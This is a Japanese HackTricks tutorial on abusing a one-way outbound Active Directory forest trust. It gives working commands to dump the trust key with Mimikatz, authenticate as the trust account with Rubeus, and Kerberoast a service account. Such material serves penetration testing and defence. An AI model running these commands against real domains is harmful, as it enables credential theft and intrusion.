外部フォレストドメイン - 一方向(アウトバウンド)
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このシナリオでは、あなたのドメインが異なるドメインのプリンシパルにいくつかの特権を信頼しています。
列挙
アウトバウンドトラスト
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
TargetName : ext.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain : root.local
GroupName : External Users
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain : root.io
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
Trust Account Attack
セキュリティの脆弱性は、ドメイン A とドメイン B の間に信頼関係が確立されるときに存在します。ここでは、ドメイン B がドメイン A に対して信頼を拡張します。この設定では、ドメイン B のためにドメイン A に特別なアカウントが作成され、これは両ドメイン間の認証プロセスにおいて重要な役割を果たします。このアカウントはドメイン B に関連付けられており、ドメイン間でサービスにアクセスするためのチケットを暗号化するために使用されます。
ここで理解すべき重要な点は、この特別なアカウントのパスワードとハッシュが、コマンドラインツールを使用してドメイン A のドメインコントローラーから抽出できるということです。このアクションを実行するためのコマンドは次のとおりです:
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
この抽出は、名前の後に**$が付いたアカウントがアクティブであり、ドメインAの「Domain Users」グループに属しているため、グループに関連付けられた権限を継承することができるため可能です。これにより、個人はこのアカウントの資格情報を使用してドメインA**に対して認証を行うことができます。
警告: この状況を利用して、限られた権限であってもユーザーとしてドメインAに足場を築くことが可能です。しかし、このアクセスはドメインAでの列挙を行うには十分です。
ext.local
が信頼するドメインで、root.local
が信頼されたドメインであるシナリオでは、root.local
内にEXT$
という名前のユーザーアカウントが作成されます。特定のツールを使用することで、Kerberos信頼キーをダンプし、root.local
内のEXT$
の資格情報を明らかにすることが可能です。これを達成するためのコマンドは次のとおりです:
lsadump::trust /patch
これに続いて、別のツールコマンドを使用して root.local
内で root.local\EXT$
として認証するために抽出された RC4 キーを使用することができます:
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
この認証ステップは、root.local
内のサービスを列挙し、さらには悪用する可能性を開きます。たとえば、次のコマンドを使用してサービスアカウントの資格情報を抽出するために Kerberoast 攻撃を実行することができます。
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
明文の信頼パスワードの収集
前のフローでは、明文パスワードの代わりに信頼ハッシュが使用されました(これはmimikatzによってダンプされました)。
明文パスワードは、mimikatzの[ CLEAR ]出力を16進数から変換し、ヌルバイト‘\x00’を削除することで取得できます:
信頼関係を作成する際に、ユーザーが信頼のためにパスワードを入力する必要がある場合があります。このデモでは、キーは元の信頼パスワードであり、したがって人間が読み取れるものです。キーがサイクルする(30日ごと)と、明文は人間が読み取れなくなりますが、技術的には依然として使用可能です。
明文パスワードは、信頼アカウントとして通常の認証を行うために使用でき、信頼アカウントのKerberos秘密鍵を使用してTGTを要求する代替手段となります。ここでは、ext.localからroot.localに対してDomain Adminsのメンバーをクエリしています:
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。